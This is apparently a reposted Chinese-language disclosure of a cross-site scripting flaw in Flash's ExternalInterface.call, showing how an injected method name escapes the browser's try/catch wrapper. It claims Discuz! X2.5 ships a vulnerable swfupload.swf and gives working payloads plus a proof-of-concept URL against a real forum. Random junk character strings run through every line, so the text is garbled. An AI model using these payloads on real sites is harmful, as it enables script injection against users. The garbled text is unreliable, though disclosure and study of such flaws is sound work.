上回我们说; \; M* C0 ?" d2 Q) b; \* g1 C
: O) K. W9 ^# @+ Z" o( q6 Yflash.external.ExternalInterface.call($methodName, $parameter); R" z0 j" Z9 V$ U9 d1 {
在浏览器中执行的是
; O, g/ I5 j0 a1 w
9 ?+ j2 D, P/ F7 `7 ^try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
3 P/ E7 [' d& U1 V) p' V对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如- n# T/ t& z7 u8 ?6 W6 h2 T# u
0 M8 j7 {' o1 S. P. b" Nflash.external.ExternalInterface.call("object."+$methodName, $parameter)
9 W. U( J& ~& z5 |( H2 B0 E/ O$methodName = a())}catch(e){alert(/xss/)}//! I% R6 r) T% ^/ B' ^; T1 }: Y
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。% ~7 H$ o: P' V+ j! a
) }) q w% H- J# N$ Q b9 Dtry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }$ c# r: m; E/ m
7 R# X* g) D% T# O这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )( M# o9 S7 L* m5 K" A/ W+ t* }
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
. H! y9 f1 ?" O2 F
8 U; g, F+ r* O. A$ x" B" J0 \
3 B! D1 f: a* y+ P U8 o. y% T U6 }5 B- \3 U
漏洞文件:upload\static\image\common\swfupload.swf# w, C# g/ |) I
. S2 ]" O3 k; n# j E! L8 o
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf; @+ |- h3 H. d
; L( F* _- o! p7 |# W) i
4 D5 l! n9 b0 M漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//8 W& B a. w$ S$ ?5 f
+ H, y1 v6 R+ m* u; ]
+ a, w9 a4 X) ^. T+ [- E |